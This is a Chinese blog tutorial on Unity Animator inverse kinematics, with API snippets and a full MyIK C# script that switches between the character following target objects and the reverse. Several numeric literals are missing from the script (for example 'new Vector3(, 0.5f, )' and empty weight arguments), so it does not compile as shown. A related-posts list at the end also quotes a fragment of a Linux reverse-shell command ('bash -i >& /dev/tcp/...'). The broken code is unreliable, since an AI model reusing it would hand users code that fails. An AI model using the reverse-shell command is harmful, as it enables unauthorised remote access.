Unity Animator动画状态机 深入理解(二)IK控制
IK还是一个很神奇和实用的东西啊,起码可以用代码来控制人物骨骼位置还是很爽的。因为不是动画师~
这篇可能跟Animator没啥关系了哈,都是代码层的。
看了一官方的案例,老的,有些问题,自己修改了一下,达到了效果。
官方建议把所有的IK操作放在OnAnimatorIK中进行。
如果我们要进行IK操作,先要绑定IK位置。IK能控制的官方都给了enum
然后我们要设置权重Weight,范围为0~1,这里都设成1
avatar.SetIKPositionWeight(AvatarIKGoal.LeftFoot, 1.0f);
avatar.SetIKRotationWeight(AvatarIKGoal.LeftFoot, 1.0f);
avatar.SetIKPositionWeight(AvatarIKGoal.LeftHand, 1.0f);
avatar.SetIKRotationWeight(AvatarIKGoal.LeftHand, 1.0f);
avatar.SetIKPositionWeight(AvatarIKGoal.RightFoot, 1.0f);
avatar.SetIKRotationWeight(AvatarIKGoal.RightFoot, 1.0f);
avatar.SetIKPositionWeight(AvatarIKGoal.RightHand, 1.0f);
avatar.SetIKRotationWeight(AvatarIKGoal.RightHand, 1.0f);
avatar.SetLookAtWeight(1.0f, 0.3f, 1.0f, 0.5f);
如果我们把LeftFoot的权重设为0,则会出现以下情况
在官方给的脚本中IK的绑定并没有在OnAnimatorIK中,而放到了Update中,然后就出现了绑定失败的问题。
所以我把他们都放到了OnAnimatorIK中。就可以了。
关于IK的操作~,给的少。
//设置右手IK位置
avatar.SetIKPosition(AvatarIKGoal.RightHand, rightHandObj.position);
//设置右手IK旋转
avatar.SetIKRotation(AvatarIKGoal.RightHand, rightHandObj.rotation);
//获取右手IK位置
rightHandObj.position = avatar.GetIKPosition(AvatarIKGoal.RightHand);
//获取右手IK旋转
rightHandObj.rotation = avatar.GetIKRotation(AvatarIKGoal.RightHand);
上完整代码~ (ikActive)没开启时球跟随人,开启时人跟随球。
using UnityEngine;
using System.Collections; public class MyIK : MonoBehaviour { public Transform bodyObj = null;
public Transform leftFootObj = null;
public Transform rightFootObj = null;
public Transform leftHandObj = null;
public Transform rightHandObj = null;
public Transform lookAtObj = null;
private Animator avatar;
public bool ikActive = false; void Start()
{
avatar = GetComponent<Animator>();
} void OnAnimatorIK(int layerIndex)
{
if (avatar == null) return; if (ikActive)
{
avatar.SetIKPositionWeight(AvatarIKGoal.LeftFoot, 0.0f);
avatar.SetIKRotationWeight(AvatarIKGoal.LeftFoot, 1.0f);
avatar.SetIKPositionWeight(AvatarIKGoal.LeftHand, 1.0f);
avatar.SetIKRotationWeight(AvatarIKGoal.LeftHand, 1.0f);
avatar.SetIKPositionWeight(AvatarIKGoal.RightFoot, 1.0f);
avatar.SetIKRotationWeight(AvatarIKGoal.RightFoot, 1.0f);
avatar.SetIKPositionWeight(AvatarIKGoal.RightHand, 1.0f);
avatar.SetIKRotationWeight(AvatarIKGoal.RightHand, 1.0f);
avatar.SetLookAtWeight(1.0f, 0.3f, 1.0f, 0.5f); if (bodyObj != null)
{
avatar.bodyPosition = bodyObj.position;
avatar.bodyRotation = bodyObj.rotation;
} if (leftHandObj != null)
{
avatar.SetIKPosition(AvatarIKGoal.LeftHand, leftHandObj.position);
avatar.SetIKRotation(AvatarIKGoal.LeftHand, leftHandObj.rotation);
}
if (rightFootObj != null)
{
avatar.SetIKPosition(AvatarIKGoal.RightFoot, rightFootObj.position);
avatar.SetIKRotation(AvatarIKGoal.RightFoot, rightFootObj.rotation);
}
if (leftFootObj != null)
{
avatar.SetIKPosition(AvatarIKGoal.LeftFoot, leftFootObj.position);
avatar.SetIKRotation(AvatarIKGoal.LeftFoot, leftFootObj.rotation);
}
if (rightHandObj != null)
{
avatar.SetIKPosition(AvatarIKGoal.RightHand, rightHandObj.position);
avatar.SetIKRotation(AvatarIKGoal.RightHand, rightHandObj.rotation);
} if (lookAtObj != null)
avatar.SetLookAtPosition(lookAtObj.position);
}
else
{
if (bodyObj != null)
{
bodyObj.position = avatar.bodyPosition;
bodyObj.rotation = avatar.bodyRotation;
} if (leftFootObj != null)
{
leftFootObj.position = avatar.GetIKPosition(AvatarIKGoal.LeftFoot);
leftFootObj.rotation = avatar.GetIKRotation(AvatarIKGoal.LeftFoot);
} if (rightFootObj != null)
{
rightFootObj.position = avatar.GetIKPosition(AvatarIKGoal.RightFoot);
rightFootObj.rotation = avatar.GetIKRotation(AvatarIKGoal.RightFoot);
} if (leftHandObj != null)
{
leftHandObj.position = avatar.GetIKPosition(AvatarIKGoal.LeftHand);
leftHandObj.rotation = avatar.GetIKRotation(AvatarIKGoal.LeftHand);
} if (rightHandObj != null)
{
rightHandObj.position = avatar.GetIKPosition(AvatarIKGoal.RightHand);
rightHandObj.rotation = avatar.GetIKRotation(AvatarIKGoal.RightHand);
} if (lookAtObj != null)
{
lookAtObj.position = avatar.bodyPosition + avatar.bodyRotation * new Vector3(, 0.5f, );
}
avatar.SetIKPositionWeight(AvatarIKGoal.LeftFoot, );
avatar.SetIKRotationWeight(AvatarIKGoal.LeftFoot, );
avatar.SetIKPositionWeight(AvatarIKGoal.LeftHand, );
avatar.SetIKRotationWeight(AvatarIKGoal.LeftHand, );
avatar.SetIKPositionWeight(AvatarIKGoal.RightFoot, );
avatar.SetIKRotationWeight(AvatarIKGoal.RightFoot, );
avatar.SetIKPositionWeight(AvatarIKGoal.RightHand, );
avatar.SetIKRotationWeight(AvatarIKGoal.RightHand, );
avatar.SetLookAtWeight(0.0f);
}
} }
附一个彩蛋,IK有意思~~呵呵~ o(* ̄▽ ̄*)ブ
Unity Animator动画状态机 深入理解(二)IK控制的更多相关文章
- Unity Animator动画状态机 深入理解(一)
接触Unity以来就已经有了Animator,Animation用的少,不过也大概理解他俩之间的一个区别于联系. 图中其实就是Animator和Animation之间的区别于联系了,啊!你肯定会告诉我 ...
- Unity Animator动画状态机 深入理解(三)二维混合树
介绍二维之前,先说说一维吧~ 这个是通过旋转角度速度快慢来表现身体的大转和中转~ 通过一个-133~133的数值来进行控制. 注:后面的那个对钩是镜像的意思. 其实二维混合树并没有想象中的那么难.先来 ...
- Animator动画状态机的简单使用
一.动画状态机的使用 1.动画状态机说明 2.动画切换箭头的Inspector面板 3.动画的Inspector面板 二.动画状态机的使用和脚本控制 1.动画状态机的使用 2.动画状态机的控制脚本 ...
- Unity3D中通过Animator动画状态机获取任意animation clip的准确播放持续时长
Unity3d 4及之前的版本中动画的播放用的animation,可直接获取其播放持续长度.但5.x及以后的版本中都是用animator来播放动画了. https://docs.unity3d.com ...
- Unity动画知识之二:Animator动画状态机
上次我们讲过Unity游戏动画从入门到住院,今天我们来讲一下动画状态机. 好了,现在我们已经成功的导入了动画.接下来要玩的东西就很装13啦.因为大部分动画师是用不到这家伙的,需要掌握这个技能的,至少也 ...
- 用Unity的Animation播放Animator动画Clip
简单的动画,其实不需要Animator动画状态机管理,用Animation播放效率更高,但可能由于历史遗留问题,或网上下载的第三方资源,得到的是Animator资源,可以在Clip的Debug试图下, ...
- unity 对Animator动画系统的研究
unity的新动画系统叫Mecanim,使用Animator来取代旧系统Animation,按Unity文档的惯例:知识点主要分2部分:unity manual和unity script,读者可以边看 ...
- Unity插件 - MeshEditor(六) 变形动画状态机
变形动画状态机--MeshAnimator,是针对MeshAnimation的状态管理器,有大量类似Unity animator的功能,但MeshAnimator操作会更加简便,更加直观,居家旅(zh ...
- 【转】unity Animator 怎么判断一个动画播放结束
关于unity Animator 怎么判断一个动画播放结束这里有几种方法.希望对大家有帮助.还有其他办法的可以分享一下 第一种方法:在动画结束帧后面加个动画事件,调用下含这个变量的函数接口不是可以了? ...
随机推荐
- JqueryDataTable的使用(.Net平台)
上一篇随笔提到了MvcPager,最近用到了一款前端JQ插件------DataTable(简称DT),很好用. DT是一款前端插件,和后端完全分离开,就这点来看,我就特别喜欢. 一.使用DT,需要以 ...
- Java关键字final、static
一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- MyEclipse web项目导入Eclipse,详细说明
最近导入一个MyEclipse的项目,具体是:spring4.1的web项目,同时遇到了一些问题,总结一下. 1.进入项目目录,找到.project文件,打开.增加一个<buildCommand ...
- js图片前端预览之 filereader 和 window.URL.createObjectURL
//preview img : filereader方式 document.getElementById('imgFile').onchange = var ele = document.getEle ...
- 关于web端功能测试的测试方向
一.功能测试 1.1链接测试 链接是web应用系统的一个很重要的特征,主要是用于页面之间切换跳转,指导用户去一些不知道地址的页面的主要手段,链接测试一般关注三点: 1)链接是否按照既定指示那样,确实链 ...
- Yii2.0.7 限制user module登录遇到的问题
在Yii2.0.6的时候我是在以下文件通过以下方法实现的. frontend/modules/user/Module.php namespace frontend\modules\user; clas ...
- Ubuntu 14 Trusty安装hue
想开始学习一下hive,需要一个使用起来方便的客户端,网上搜了一下发现hue是个很常用的工具.于是,就在自己的ubuntu14系统里,尝试安装hue.下面就是自己的安装步骤,记录如下: 1.先查看自己 ...
- Ubuntu15.10下华南师大锐捷认证客户端的使用详解
本文测试Linux系统环境为Ubuntu15.10 Destop,暂未在其他系统下验证过,不代表LTS版本或较旧的版本按照本文所述方法可以100%正确使用最新的锐捷认证客户端. 本文面向对象为华南师范 ...
- [No000093]按住Alt 再按数字键敲出任意汉字和字符!
1.在notepad里,(中文系统下) 按住Alt 然后按52946最后放开Alt 按住Alt 然后按45230最后放开Alt 按住Alt 然后按50403最后放开Alt 你会看到"我爱你& ...